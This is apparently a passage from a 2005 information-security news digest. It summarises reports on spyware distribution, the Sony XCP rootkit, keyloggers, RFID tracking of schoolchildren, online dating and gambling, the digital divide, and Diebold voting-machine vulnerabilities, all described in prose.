Purveyors of the applications that produce pop-up ads on PC screens and track browsing habits have discovered BitTorrent as a new distribution channel. BitTorrent has grown into one of the most widely used means of downloading files such as movies or software. According to observers of the trend, videos and music that hide adware and spyware are increasingly being offered for download on various BitTorrent Websites. Both spyware and adware are known to hurt PC performance because they use PC resources to run. Alex Eckelberry, president of Sunbelt Software, a maker of anti-spyware software stated: "[This] is a major concern. It is going to riddle your system with pop-ups, slow your system down and potentially cause system instability." The downloaded files typically were self-extracting archives that would also install the unwanted software, said Chris Boyd, a security researcher who runs the Vital Security Website. In most cases, users would be presented with a dialog box advising that the extra software was about to be installed and given the impression that the install was needed to get access to the desired content, he said.

Category 28.1 Spyware, Web bugs & cookies
2005-06-20 **spyware malicious code dissemination method drive-by download iFrameDollars.biz**

DHS IAIP Daily; <http://www.eweek.com/article2/0,1759,1829174,00.asp>

DRIVE-BY DOWNLOAD SITES CHAUFFEUR SPYWARE

Increasingly, spyware is making its way onto users' systems through so-called drive-by-download sites using nefarious methods that circumvent disclosure. One example is iFrameDollars.biz, which claims to be a Website affiliate company just for drive-by sites, using a model similar to aboveboard affiliate networks such as Commission Junction and LinkShare. The Website's "Terms" page says that iFrameDollars.biz pays 55 cents per install or \$55 for 1,000 unique installs of a three KB program that "changes the homepage and installs toolbar and dialer." Website operators interested in joining the iFrameDollars.biz network must submit a URL for their Websites, an estimate of their daily traffic and the account number for an online payment service such as E-gold. In exchange, they are sent a small piece of HTML code containing the iFrame exploit, which the site owners are expected to attach to their pages. Web surfers who visit those pages using vulnerable versions of Windows or Microsoft Corp.'s Internet Explorer Web browser have iFrameDollars.biz's programs silently installed. In addition to distributing malicious code and adware through its affiliates, iFrameDollars.biz uses pop-up messages to tempt users into buying nonexistent software programs, taking a cut of any sales.

Category 28.1 Spyware, Web bugs & cookies
2005-07-12 **spyware Anti-Spyware Coalition definition**
EDUPAGE; http://news.com.com/2100-1029_3-5783926.html
COALITION TO RELEASE SPYWARE DEFINITION

The recently created Anti-Spyware Coalition is set to release a definition of spyware. According to officials from the group, the first step toward dealing with the growing problem of spyware and adware is to define very clearly what it is. The group's proposed definition, which the public can comment on until August 12, identifies spyware as software that is installed without adequate notification and that monitors computer users' activities. The group also proposes a broader definition that would include software that interferes with users' abilities to properly control their systems. Critics of the group's definitions argue that makers of spyware and adware stand to benefit the most from such a definition because it clearly delineates what they could do and get away with. After the comment period is closed, officials of the Anti-Spyware Coalition will incorporate the best suggestions into the final definitions. CNET, 12 July 2005

Category 28.1 Spyware, Web bugs & cookies
2005-07-26 **spyware unauthorized communication phone home data leakage confidentiality control surveillance malicious software malware survey bandwidth**
RISKS; http://www.theregister.co.uk/2005/07/25/spyware_screening/ 23 95
SPYWARE GETTING WORSE: VOLUME & STEALTH INCREASING

Outbound spyware transmissions from infested machines accounted for up to eight per cent of total outbound web traffic in pilot tests of a new managed spyware screening service. UK web security firm ScanSafe said the volume of traffic observed during a 10-week pilot test of its Spyware Screening service showed that spyware applications are becoming stealthier in their ability to hide their outbound 'cover' channels among normal web traffic. That's bad news because data sent when spyware "calls-home" can include confidential and even privileged information.

Spyware now accounts for around 20 per cent of web-based threats, which includes other malware such as worms and Trojans, and is still on the increase, according to ScanSafe. The firm said malware such as CoolWebSearch, which hides on an infected client using newly developed root-kit architecture, often evades detection.

[Abstract by Peter G. Neumann]

Category 28.1 Spyware, Web bugs & cookies
2005-10-05 **FTC Odysseus Marketing spyware malicious insidious software distribution anonymous file trading Google Yahoo lawsuit Kazanon**
EDUPAGE; <http://msnbc.msn.com/id/9598897/>
FTC SUES FOR ALLEGED SPYWARE

The Federal Trade Commission (FTC) has sued Odysseus Marketing, accusing the company of engaging in distributing spyware. Odysseus distributed an application called Kazanon, which supposedly allowed users to trade files anonymously, without fear of being identified by record companies. According to the FTC, users who downloaded the application also got a range of adware programs that fed advertisements to those users' computers and added items to the search results pages of popular search engines, including Google and Yahoo. The added items, which were indistinguishable from those supplied by the search engine, directed users to companies that paid Odysseus for the placement. Further, the software did not offer users a simple option to uninstall it. Walter Rines, owner of Odysseus, disputed all of the FTC's claims. He noted that the user agreement informs consumers of what will be installed when they download the Kazanon program. He also said an uninstall tool is available and that his company's software did not remove any search results but merely added to the list. Rines also said the lawsuit was "moot" because his company stopped distributing adware several weeks ago. MSNBC, 5 October 2005

Category 28.1

Spyware, Web bugs & cookies

2005-10-27

anti-spyware malicious insidious software coalition guidelines

EDUPAGE; http://news.com.com/2100-7348_3-5918113.html

ANTI-SPYWARE COALITION RELEASES GUIDELINES

The Anti-Spyware Coalition has released a definition of what constitutes spyware, as well as guidelines for dealing with spyware. The group's definition says that spyware is an application installed without sufficient consent of the user and that interferes with the user's ability to exert control over such things as security, privacy and personal information, and system resources. Critics had cautioned that a definition of spyware would allow developers of unwanted software to simply sidestep the characteristics included in the definition, thereby legitimizing their applications. The Anti-Spyware Coalition said it understands that concern and drafted a definition with enough latitude to avoid that problem. The group also identified good practices for how organizations should identify and prevent spyware. Included in the resources is guidance on how to rate the severity of particular spyware applications. The group will accept public comments on the newly released documents until November 27 and will release final versions in early 2006. CNET, 27 October 2005

Category 28.1

Spyware, Web bugs & cookies

2005-11-14

FTC shut down spyware business social engineering

DHS IAIP Daily; <http://www.govtech.net/news/news.php?id=97252>

FEDERAL TRADE COMMISSION SHUTS DOWN SPYWARE OPERATION

An operation that uses the lure of free lyric files, browser upgrades, and ring tones to download spyware and adware on consumers' computers has been ordered to halt its illegal downloads by a U.S. District Court at the request of the Federal Trade Commission (FTC). The court also halted the deceptive downloads of an affiliate who helped spread the malicious software by offering blogs free background music. The music code downloaded by the blogs was bundled with a program that flashed warnings to consumers about the security of their computer systems. Consumers who opted to upgrade by clicking, downloaded the spyware onto their computers. The FTC complaint alleges that the Websites of the defendants and their affiliates cause "installation boxes" to pop up on consumers' computer screens. In one variation of the scheme, the installation boxes offer a variety of "freeware," including music files, cell phone ring tones, photographs, wallpaper, and song lyrics. In another, the boxes warn that consumers' Internet browsers are defective, and claim to offer free browser upgrades or security patches. Consumers who download the supposed freeware or security upgrades do not receive what they are promised; instead, their computers are infected with spyware.

Category 28.1

Spyware, Web bugs & cookies

2005-12-01

Adware company lawsuit high risk label Zone Labs

EDUPAGE; http://news.zdnet.com/2100-9588_22-5979179.html

ADWARE COMPANY QUIBBLES WITH LABEL

A company that makes and distributes adware has filed a lawsuit against a computer security company that identifies the adware company's products as "high risk." The adware purveyor, 180solutions, contends that Zone Labs erred in saying that some of 180solutions's applications try to monitor mouse movements and keystrokes. Although some of its applications employ a technology that could be used in such a manner, those applications do not in fact work that way, according to 180solutions. Representatives from 180solutions said they tried to explain the situation to Zone Labs but were forced to file the lawsuit when Zone Labs refused to remove the applications in question from its list of high-risk tools. Eric Howes, a spyware researcher at the University of Illinois, said that despite its protestations, 180solutions remains "a perfectly legitimate target for anti-spyware companies." According to Howes, security professionals continue to "find unethical and illegal installations of 180's software." ZDNet, 1 December 2005

Category 28.1 Spyware, Web bugs & cookies
2005-12-18 **Websites spyware installation Microsoft Internet Explorer IE zero-day exploit bug**
DHS IAIP Daily;
http://www.techweb.com/wire/security/174907332;jsessionid=WR_E35TOIAV2AUQSNDBECKH0CJUMEKJVN
SITES INSTALLING SPYWARE VIA ZERO-DAY INTERNET EXPLORER BUG,

A still-unpatched Internet Explorer vulnerability that's been used by attackers since late November to compromise Windows PCs is now being used by large numbers of malicious Websites to plant spyware and adware, a security company claimed Thursday, December 8. San Diego-based Websense said in an alert that it's detected thousands of sites connecting to a main malicious URL that's "actively exploiting this vulnerability to execute malicious code," according to the warning. All it takes is a visit to one of the sites with Internet Explorer running on Windows 98, Windows Me, Windows 2000, or Windows XP, to compromise a computer, the warning noted. A bogus warning that the machine is infected with spyware appears and a so-called "spyware cleaning" application launches. That application then prompts the user to enter a credit card number. What's actually installed, however, is real spyware, which then connects to a URL in the .biz domain to download and run more than 10 other programs that install without the user's consent. According to Websense, the .biz domain Website is real, but has been compromised by hackers. It's hosted in the U.S., and is currently still online.

28.2 Scumware

Category 28.2

Scumware

2005-11-11

CD copy protection suspension Sony spyware DRM XCP rootkit installation patch

DHS IAIP Daily;

[http://www.techweb.com/wire/security/173602071;jsessionid=BH
YE2POHHTY0IQSNDBOCKH0CJUMEKJV](http://www.techweb.com/wire/security/173602071;jsessionid=BHYE2POHHTY0IQSNDBOCKH0CJUMEKJV)

SONY SUSPENDS CD COPY PROTECTION

On Friday, November 10, Sony BMG Music Entertainment announced that it would stop producing CDs with its XCP copy-protection technology. The move came just a day after nearly every major security firm put out alerts that a Trojan horse was using the XCP (eXtended Copy Protection) software to hide malicious files. A wave of lawsuits has been filed or are about to be filed against Sony for installing the hacker-style "rootkit" on users' PCs without their permission. On Thursday, November 9, Sony BMG posted a news release on its Website that linked to a patch download and the site where consumers are to request help with uninstalling the copy-protection software.

Category 28.2

Scumware

2005-12-04

spyware scumware Sony rootkit XCP security vendors

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,106759,00.html>

SONY ROOTKIT PROBLEM RAISES QUESTIONS FOR SECURITY VENDORS

Sony BMG Music Entertainment has been lambasted for shipping its spywarelike XCP software on music CDs over the past year, but an important question has gone largely unanswered: Why didn't security vendors catch the problem sooner? Though one security vendor, Finland's F-Secure Corp., was aware of the problems surrounding Extended Copy Protection (XCP), none of the major anti-spyware or antivirus vendors had any idea that something was amiss, according to representatives from Symantec Corp., McAfee Inc., and Computer Associates International Inc. There were two things about XCP that presented challenges for the big security vendors. The first was Sony's use of rootkit techniques to cloak XCP and make it harder to circumvent its copy-protection capabilities. A second problem is that the software was distributed by a trusted company: Sony. Sony has sold an estimated two million CDs containing the copy-protection software, which used special rootkit techniques to hide itself on PCs. Rootkit software runs at a very low level of the operating system and is designed to be extremely difficult to detect. Ultimately, XCP's cloaking ability was used by hackers to write malicious software, a development that prompted Sony to recall its XCP CDs.

Category 28.2

Scumware

2005-12-06

Sony BMG CD rootkit spyware scumware EFF computer security fix

DHS IAIP Daily;

http://news.com.com/New+Sony+CD+security+risk+found/2100-100_2_3-5984764.html?tag=cd.lede

NEW SONY CD SECURITY RISK FOUND

Sony BMG Music Entertainment and the Electronic Frontier Foundation (EFF) digital rights group jointly announced Tuesday, December 6, that they had found, and fixed, a new computer security risk associated with some of the record label's CDs. The danger is associated with copy-protection software included on some Sony discs created by a company called SunnComm Technologies. The vulnerability could allow malicious programmers to gain control of computers that have run the software. The issue affects a different set of CDs than the ones involved in the copy-protection gaffe that led Sony to recall 4.7 million CDs last month. The announcement is the latest result of the detailed scrutiny applied by the technical community to Sony's copy-protected discs, after a string of serious security issues were found to be associated with the label's anti-piracy efforts. Following those revelations, the EFF asked computer security company iSec Partners to study the SunnComm copy protection technology, which Sony said has been distributed with 27 of its CDs in the United States. iSec found the hole announced Tuesday and notified Sony, but news of the risk was not released until SunnComm had created a patch. Sony patch: <http://sonybm.com/mediamax/> List of CDs affected: <http://sonybm.com/mediamax/titles.html>

28.3 Keystroke loggers

Category 28.3

Keystroke loggers

2005-11-28

report keyloggers programs malicious software rampant Internet download

DHS IAIP Daily; <http://www.eweek.com/article2/0,1895,1893515,00.asp>

MALICIOUS KEYLOGGERS RUN RAMPANT ON NET

Keylogging programs are the epitome of online stealth, and they're also a mushrooming problem on the Internet. Reports of new keylogging programs soared higher this year, as part of a wave of malfunction malware with integrated keylogging features, according to VeriSign Inc.'s security information company iDefense Inc. The programs often evade detection by anti-virus tools and can be difficult to detect once installed, experts warn. More than 6,000 keylogging programs will be released by the end of this year, according to projections by iDefense. That's an increase of 2,000 percent over the last five years, company officials said. Keyloggers have been around for years and are also sold as legitimate applications -- often as monitoring tools for concerned parents or suspicious spouses -- according to Ken Dunham, director of malicious code at iDefense, in Reston, VA. Malicious keyloggers are increasingly part of modular programs that contain Trojan horse, spamming and remote control features, as well, Dunham said. Anti-virus companies have developed signatures that will stop many of those programs before they can be installed, but new programs with unique signatures are readily available from malicious code download sites.

28.4 Cell/mobile phones/GPS/cameras

Category 28.4

Cell/mobile phones/GPS/cameras

2005-07-11

**Cell phone service New York attack deadly bombs move bombings operation
Madrid New Jersey Lincoln Holland tunnelssubway**

DHS IAIP Daily;

<http://www.computerworld.com/mobiletopics/mobile/story/0,10801,103125,00.html>

CELL PHONE SERVICE DISABLED IN NEW YORK TUNNELS AFTER LONDON ATTACK

Cellular phone service has been shut off in four busy New York commuter tunnels since last week's deadly blasts in London, officials said Monday, July 11. No specific reason was given for the move, but cell phones have been used to trigger bombs in the past. Cell phone service is disabled in the Holland and Lincoln tunnels that connect Manhattan to New Jersey under the Hudson River, the Midtown Tunnel to the city's Queens borough and the Battery Tunnel to Brooklyn, officials said. The move came immediately after the bombings in London on Thursday, according to a spokesperson for the Port Authority of New York and New Jersey, which oversees operation of the Lincoln and Holland tunnels. In March 2004, bombs in Madrid that killed 191 people on trains were fitted to mobile phones, using the alarms as timers. Police in London have said they believe the subway bombs there were detonated by timers. A spokesperson for the New York Police Department said officials would weigh the benefits of disabled service against allowing cell phone service in the tunnels so the public could report suspicious packages or individuals.

Category 28.4

Cell/mobile phones/GPS/cameras

2005-07-11

**FCC ALLTEL Corporation Western Wireless Corporation licenses authorizations
applications merger WWC Widgeon Acquisition LLC**

DHS IAIP Daily; http://hraunfoss.fcc.gov/edocs_public/attachmatch/DOC-259932_A1.pdf

FCC CONSENTS TO ALLTEL CORPORATION ACQUISITION OF WESTERN WIRELESS CORPORATION
LICENSES AND AUTHORIZATIONS

The Federal Communications Commission (FCC) on Monday, July 11, consented to the applications filed in connection with the proposed merger of ALLTEL Corporation and Western Wireless Corporation (WWC) subject to certain conditions. The transactions would transfer the control of licenses held by WWC and its subsidiaries to Widgeon Acquisition LLC, a wholly-owned subsidiary of ALLTEL. The Commission denied all of the petitions filed in opposition to the merger, finding that the merger as conditioned would serve the public interest.

Category 28.4

Cell/mobile phones/GPS/cameras

2005-09-19

data leakage countermeasure photography illicit surreptitious digital camera privacy

INNOVATION

PHOTO-BLOCKING TECHNOLOGY

Paparazzi, beware! Researchers at Georgia Tech have come up with a way to prevent digital cameras and camcorders from taking surreptitious photos or video. The technology can detect the presence of a digital camera up to 33 feet away and then shoots a targeted beam of light at the lens, neutralizing the recorded image. The neutralizing light continues until the camera lens can no longer be detected. The group has developed a lab prototype consisting of a digital projector with a modified video camera mounted on the top, but team members say they're working on a design that could be commercially manufactured and sold. With the rise in cell phone cameras and other intrusive camera technology, they see the technology as a first step toward ameliorating privacy concerns that are escalating in the face of shrinking camera size, and anticipate that businesses, conferences and exhibit halls with no-photography rules will constitute a ready-made market. (CNet News.com 19 Sep 2005)
[<http://news.com.com/Crave+privacy+New+tech+kicks+out+digital+cameras/2100-7337_3-5869832.html>](http://news.com.com/Crave+privacy+New+tech+kicks+out+digital+cameras/2100-7337_3-5869832.html)

28.6 RFID tags

Category 28.6

RFID tags

2005-02-10

RFID radio frequency identifier elementary school ACLU track surveillance privacy civil liberties

NewsScan; <http://apnews.excite.com/article/20050210/D885RJD81.html>

CONTROVERSIAL USE OF RFID TECHNOLOGY IN ELEMENTARY SCHOOL

Brittan Elementary School in rural Sutter, California, is requiring students to wear radio frequency identification (RFID) badges that can track their movements in order to simplify attendance-taking, curtail vandalism, and improve student safety. But civil libertarians are alarmed, and ACLU representative Nicole Ozer warns, "If this school doesn't stand up, then other schools might adopt it. You might be a small community, but you are one of the first communities to use this technology." Angry parent Michael Cantrall, who alerted the ACLU to the school's decision to use RFID technology, which is also used to track merchandise, says: "There is a way to make kids safer without making them feel like a piece of inventory. Are we trying to bring them up with respect and trust, or tell them that you can't trust anyone, you are always going to be monitored, and someone is always going to be watching you?" Each student is required to wear identification cards around their necks with their picture, name and grade and a wireless transmitter that beams their ID number to a teacher's handheld computer when the child passes under an antenna posted above a classroom door. But the IDs have been welcomed by some parents, such as one who notes: "This is not Mayberry. This is Sutter, California. Bad things can happen here." (AP 10 Feb 2005)

NO RFID TAGS FOR SCHOOL KIDS -- AT LEAST FOR NOW

The InCom company, which developed Radio Frequency Identification (RFID) tags to monitor the whereabouts of school children, has pulled out of a deal with Brittan Elementary School in Sutter, California. School principal Earnie Graham says, "I'm disappointed... I think I let my staff down. Nobody on this campus knows every student." Dawn Cantrall, the parent who objected to the system and brought the ACLU in to stop its implementation, remains skeptical: "I'm not convinced it's over. I'm happy for now that kids are not being tagged, but I'm still fighting to keep it out of our school system. It has to stop here." The system was conceived as a way of simplifying attendance-taking, reducing vandalism, and keeping students safe. (San Francisco Chronicle 16 Feb 2005)

<http://sfgate.com/cgi-bin/article.cgi?file=/n/a/2005/02/16/financial/f075453S34.DTL>

Category 28.6

RFID tags

2005-02-11

radio frequency identification tag RFID school children monitoring surveillance tracking

RISKS; <http://www.msnbc.msn.com/id/6448213/did/6942751/>

23

71

RFID TAGGING ELEMENTARY SCHOOL CHILDREN

Peter Coffin and Peter Neumann summarized a new application for RFID tags:

The only grade school in Sutter, California is requiring students to wear radio frequency identification badges that can track their every move. Some parents are outraged, fearing it will rob their children of privacy. The badges introduced at Brittan Elementary School on 18 Jan 2005 rely on the same radio frequency and scanner technology that companies use to track livestock and product inventory.

While similar devices are being tested at several schools in Japan so parents can know when their children arrive and leave, Brittan appears to be the first U.S. school district to embrace such a monitoring system.

Civil libertarians hope to keep it that way.

I trust no one reading RISKS has any troubles imagining many ways to foil this system. "Karen, I wanna ditch. Carry my tag in your backpack!"

<i>Category</i>	28.6	<i>RFID tags</i>		
2005-08-02		identification authentication I&A Social Security Number SSN card RFID radio frequency identification device identity theft legislation proposal Congress		
RISKS			23	96

MISSING THE POINT: RFID TAGS IN SOCIAL SECURITY CARDS

Geoff Kuenning analyzed a misguided application of RFID tags:

I just received an e-mail from my Congressman, David Dreier, touting his efforts to put RFID chips in Social Security cards. Dreier, never noted for clear thinking, writes:

>There is a common sense solution to thwarting identity theft and the fraudulent use of Social Security cards: the cards must be made counterfeit-proof... H.R. 98...improves the integrity of the Social Security card by adding a digitized photo of the cardholder. These Smart Cards will also contain a unique electronic encryption code that will allow employers to verify each applicant's work eligibility prior to hiring. Smart Cards will decrease Social Security information theft and prevent illegal immigrants from using fake or stolen Social Security information to get a job.<

Note that HR 98 doesn't do anything to actually address identity theft, which isn't performed using Social Security cards in the first place. Sensible measures, like making the Social Security Number self-checking, decoupling it from identification, and penalizing corporations who fail to protect SSNs or who misuse them, are notably absent. Instead we have yet another case of technology as a panacea.

But in the current hysterical climate, and with the popular fascination with overhyped technology, I have no doubt that the bill will pass. I also have no doubt that it will have no effect on its true target, illegal immigration, since it will be easy to find low-paid insiders to help forge the "impossible to forge" cards.

29.1 Addiction, games & violence

Category 29.1

Addiction, games & violence

2005-09-27

virus plague cyber-terrorism role-playing game malware infection bug quality assurance QA testing patch vandals

<http://www.securityfocus.com/print/news/11330>

GOOD GRIEF: GAMING VANDALS AS CYBER-TERRORISTS

The vandals called griefers who infest computer-based role-playing games took advantage of a new feature called "corrupted blood" in the popular World of Warcraft game community. The feature was originally supposed to be limited to characters in a specific dungeon but the griefers teleported the infected characters into cities and infected pets. As a result, entire cities were depopulated as the plague spread from character to character. The Blizzard Entertainment programmers running the game -- presumably the equivalents of gods -- issued patches that shut down the pandemics. Robert Lemos, writing in SecurityFocus, quoted a game-playing security consultant, Brian Martin, as saying, "Giving it the ability to propagate at all beyond a limited environment definitely reminds us that self-propagating code is likely to bite us in the ass without careful consideration and planning. . . . This also underscores the fact that adequate testing is a requirement for software, as this--and thousands of other bugs--would have easily been discovered and hopefully fixed had the testing been more thorough."

29.2 Cyberdating & cybersex

Category 29.2

Cyberdating & cybersex

2005-01-11

Internet sociology anonymity role-playing psychology addiction fantasy reality

NewsScan; <http://www.nytimes.com/2005/01/11/health/psychology/11secr.html>

'ON THE INTERNET, NO ONE KNOWS YOU'RE A DOG'

Psychologists believe that secret role-playing may be good or bad, depending on the circumstances. Harvard psychology professor Daniel M. Wegner says: "In a very deep sense, you don't have a self unless you have a secret, and we all have moments throughout our lives when we feel we're losing ourselves in our social group, or work or marriage, and it feels good to grab for a secret, or some subterfuge, to reassert our identity as somebody apart." The Internet is famous for accommodating people with multiple personalities, and MIT sociologist and author Sherry Turkle says, "It used to be you'd go away for the summer and be someone else, go away to camp and be someone else, or maybe to Europe and be someone else" -- whereas now many people now use online interactive games to set up families they wish they had or to play out alternative versions of their own lives. "I think what people are doing on the Internet now has deep psychological meaning in terms of how they're using identities to express problems and potentially solve them in what is a relatively consequencefree zone." In further defense of secret lives, New York clinical psychiatrist Jay S. Kwawer says, "Contrary to what many people assume, quite often a secret life can bring a more lively, more intimate, more energized part of themselves out of the dark." (New York Times 11 Jan 2005)

Category 29.2

Cyberdating & cybersex

2005-02-07

anonymity Internet romance chat room

NewsScan; <http://theage.com.au/articles/2005/02/07/1107625114716.html>

A MODERN VALENTINE'S DAY FABLE

A budding romance between a Jordanian man and woman turned into an ugly public divorce when the couple found out that they were in fact man and wife, state media reported on Sunday. Separated for several months, boredom and chance briefly reunited Bakr Melhem and his wife Sanaa in an internet chat room, the official Petra news agency said. Bakr, who passed himself off as Adnan, fell head over heels for Sanaa, who signed off as Jamila (beautiful) and described herself as a cultured, unmarried woman -- a devout Muslim whose hobby was reading, Petra said. Cyberlove blossomed between the pair for three months and soon they were making wedding plans. To pledge their troth in person, they agreed to meet in the flesh near a bus depot in the town of Zarqa, northeast of Amman. The shock of finding out their true identities was too much for the pair. Upon seeing Sanaa-alien-Jamila, Bakr-alien- Adnan turned white and screamed at the top of his lungs: "You are divorced, divorced, divorced" -- the traditional manner of officially ending a marriage in Islam. "You are a liar," Sanaa retorted before fainting, the agency said. (The Age 7 Feb 2005)

Category 29.2

Cyberdating & cybersex

2005-03-14

Internet increase gambling college students poker tournaments

EDUPAGE; <http://www.nytimes.com/2005/03/14/education/14gamble.html>

INTERNET FUELS GAMBLING AMONG COLLEGE STUDENTS

Gambling is seeing a significant upsurge among college students in the United States, a trend many attribute to the combination of television coverage of glitzy poker tournaments and the availability of gambling Web sites. Poker tournaments are showing up on campuses including Columbia University and the University of North Carolina, with waiting lists of students hoping to participate. A poker society at the University of Pennsylvania receives hundreds of responses during the first 30 minutes after a tournament is announced, according to the group's president. Some students, such as Princeton University senior Michael Sandberg, have made large amounts of money--in the past six months, Sandberg has won \$30,000 in Atlantic City and another \$90,000 playing cards online--and have come to regard gambling as an attractive and lucrative career option. Keith S. Whyte, executive director of the National Council on Problem Gambling, commented that university administrators are not working to raise awareness of the risks of gambling, nor are they offering resources for how to get help, which they do for issues such as substance abuse or date rape. New York Times, 14 March 2005 (registration req'd)

29.3 Digital divide

Category 29.3

Digital divide

2005-02-24

World Bank digital divide organization United Nations World Summit Information Security democracies poverty mobile phones

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7731166>

WORLD BANK SAYS DIGITAL DIVIDE CLOSING FAST

The World Bank has released a report contending that the digital divide is closing fast, putting the organization at odds with the United Nations (U.N.), which asserts that the divide is a problem that still needs to be addressed. The U.N. is hosting the World Summit on the Information Society in Geneva, where attendees are expected to call for increased funding to provide access for poorer countries to digital technologies. The U.N. believes that increasing such access will help poorer countries build stable democracies and deal with problems such as poverty. The World Bank cited statistics, however, that seem to contradict the need for ongoing funding to shrink the divide. The group's report said, for example, that in 2002, Africa had 59 million fixed-line or mobile phones, far more than some other estimates. The report also said half the world's population now have access to a fixed-line phone and 77 percent have access to a mobile phone.

Category 29.3

Digital divide

2005-06-15

Internet access rural India villages World Bank thin client technology bridge digital divide

EDUPAGE; <http://www.nytimes.com/2005/06/16/technology/16compute.html>

BRINGING THE INTERNET TO RURAL INDIA

As many as 5,000 villages in rural India may soon be connected to the Internet, thanks to efforts of an international group of companies and organizations, including the World Bank. Many rural Indians do not have easy access to business or government functions, and the project is designed to fill that gap for villages with more than 5,000 residents in the Indian state of Karnataka. The computer centers or kiosks will connect to the Internet either through wired networks or by satellite and will have between 5 and 10 "thin client" computers. In addition to the World Bank, partners in the project include Comat Technologies, an Indian Internet service provider; ICICI Bank, a commercial bank in India; and California-based Wyse Technology, maker of computer terminal equipment. New York Times, 15 June 2005 (registration req'd)

29.4 Online & electronic voting

<i>Category</i>	<i>29.4</i>	<i>Online & electronic voting</i>		
2005-07-13		electronic voting machines optical scanners vote tampering vulnerabilities hack Diebold report analysis flaws		
RISKS; http://www.blackboxvoting.org/BBVreport.pdf	23		94	

DIEBOLD OPTICAL SCAN VOTING MACHINE SUSCEPTIBLE TO TAMPERING

Bruce O'Dell provided an extensive summary of a thorough analysis of the Diebold Optical Scan systems used to tally 25M votes in the 2004 elections in the US. Here are excerpts.

>Harri Hursti, an independent security consultant - with the consent of election officials in Leon County, Florida - was able to take full control of the Diebold optical scan device and manipulate vote totals and audit reports at will.

The Diebold Precinct-Based Optical Scan 1.94w device accommodates a removable memory card. It had been believed that this card contained only the electronic "ballot box", the ballot design and the race definitions; astonishingly enough, the memory card also contains executable code essential to the operation of the optical scan system. The presence of executable code on the memory card is not mentioned in the official product documentation. This architecture permits multiple methods for unauthorized code to be downloaded to the memory cards, and is wide open to exploitation by malicious insiders.

The individual cards are programmed by the Diebold GEMS central tabulator device via a RS-232 serial port connection or via modem over the public phone network. There are no checksum mechanisms to detect or prevent tampering with the executable code, and worse yet, there are credible exploits which could compromise both the checksum and executable. The report notes that this appears to be in violation of Chapter 5 of the 1990 Federal Election Commission Standards for election equipment, and therefore should never have been certified for use.

The executable code is written in a proprietary language, Accu-Basic. Accu-Basic programs are first compiled into ASCII pseudocode, which is then executed by an interpreter residing in the optical scan device. Hursti located an inexpensive device capable of reading and updating the memory cards advertised on the Internet, and using a publicly-available version of the Accu-Basic compiler (found on the Internet, along with Diebold source code and other documents, by Bev Harris in 2003) was able to exploit these vulnerabilities - and publicly demonstrated the ability to modify vote totals and audit reports at will.

According to the report:

"Exploits available with this design include, but are not limited to:

"1) Paper trail falsification - Ability to modify the election results reports so that they do not match the actual vote data

"1.1) Production of false optical scan reports to facilitate checks and balances (matching the optical scan report to the central tabulator report), in order to conceal attacks like redistribution of the votes or Trojan horse scripts such as those designed by Dr. Herbert Thompson.(19)

"1.2) An ingenious exploit presents itself, for a single memory card to mimic votes from many precincts at once while transmitting votes to the central tabulator. The paper trail falsification methods in this report will hide evidence of out-of-place information from the optical scan report if that attack is used.

"2) Removal of information about pre-loaded votes

"2.1) Ability to hide pre-loaded votes

"2.2) Ability to hide a pre-arranged integer overflow

"3) Ability to program conditional behavior based on time/date, number of votes counted, and many other hidden triggers.<

After discussion of the demonstration that all of these vulnerabilities can be exploited, Mr O'Dell added, "The affected Diebold optical scan equipment should be immediately withdrawn from use in any election until independent recertification is achieved, or a secure alternative is obtained. All other election equipment - manufactured by Diebold or by other vendors - should be examined, and if subject to the same vulnerability, should also be withdrawn. An investigation to determine how equipment with such serious vulnerabilities to insider manipulation could ever have been certified should also be launched, and certification and oversight procedures enhanced."

He ended his report with these words: "Good people died to gain and defend our right to vote. Election administration must not be exempt from industry best practices for security, audit and control."

Category 29.4 Online & electronic voting
2005-08-17 **electronic e-voting study grant NSF higher education colleges ACCURATE produce technical standards secure voting systems**

EDUPAGE; <http://washingtontimes.com/upi/20050817-124413-4457r.htm>

NSF GRANT FUNDS STUDY OF ELECTRONIC VOTING

A team of researchers will use a five-year, \$7.5 million grant from the National Science Foundation (NSF) to study electronic voting. The grant will support a research center called ACCURATE, A Center for Correct, Usable, Reliable, Auditable, and Transparent Elections. Based at Johns Hopkins University, the center includes researchers from the University of California, Berkeley; Stanford University; Rice University; the University of Iowa; and California-based research firm SRI International. According to Dan Wallach, associate professor of computer science at Rice, "The basic question is, 'How can we employ computer systems as trustworthy election systems when we know computers are not totally reliable, totally secure, or bug-free?'" The ACCURATE project is expected to produce technical standards for electronic voting and to develop secure voting systems that are easy to use. Washington Times, 17 August 2005

Category 29.4 Online & electronic voting
2005-09-13 **electronic voting vulnerabilities design government research agency report**
RISKS 24 04

NRC REPORT ON ELECTRONIC VOTING

Election officials across the United States are increasingly looking to electronic voting systems as a way to administer elections more efficiently, but skeptics have raised concerns about the security and reliability of these systems. ASKING THE RIGHT QUESTIONS ABOUT ELECTRONIC VOTING, new from the National Academies' National Research Council, offers a set of questions that policy-makers and the public should ask to help ensure that the technologies implemented are secure, reliable, efficient, and easy to use. Advance copies are now available to reporters. The report, which was chaired by DICK THORNBURGH, former governor of Pennsylvania, and RICHARD F. CELESTE, former governor of Ohio, was released on September 13, 2005, and is available free in PDF form at the web site below.

Press release at
<http://www4.nationalacademies.org/news.nsf/isbn/0309100240?OpenDocument>

Full report at
<http://www.nap.edu/catalog/11449.html> (sign-in required for the PDF version).

[Contributed by Herb Lin]

Category 29.4 Online & electronic voting
2005-10-03 **electronic voting machines flaws weakness errors fraud disenfranchisement hacking data corruption integrity Diebold**

RISKS; http://josephhall.org/nqb2/index.php/2005/10/03/desi_nc 24 06

NORTH CAROLINA DOCUMENTS REVEAL DIEBOLD VOTING MACHINE VULNERABILITIES

1. In one city, Dallas, NC, a bug appears to have prevented the downloading of 11,945 votes which wasn't caught for seven days. At which point, it appears the county compared paper print-outs from the precinct with the totals reported by the tabulation server. A DESI technician reproduced the bug twice and then decided to forgo usual DESI protocol and loaded the flash-based memory packs directly into the central (GEMS) server to retrieve the votes from the memory pack.
2. In another case, another memory pack "failed to download" and the DESI technician got approval to send a back-up file electronically to DESI technicians who then e-mailed the results back. After writing this data to a memory pack, the on-site technician loaded them into the central server via a tabulator unit.
3. Finally, the document describes hand-entering of "three to five" ballots. DESI claims as a "check and balance" this process doesn't allow the technician to enter more votes than the total vote count (that is, the number of valid plus spoiled ballots). This would implicate that one would be prevented from entering more than a certain number of votes, but, of course, does nothing to constrain what votes are entered. A human looking over the technician's shoulder is the only other constraint.
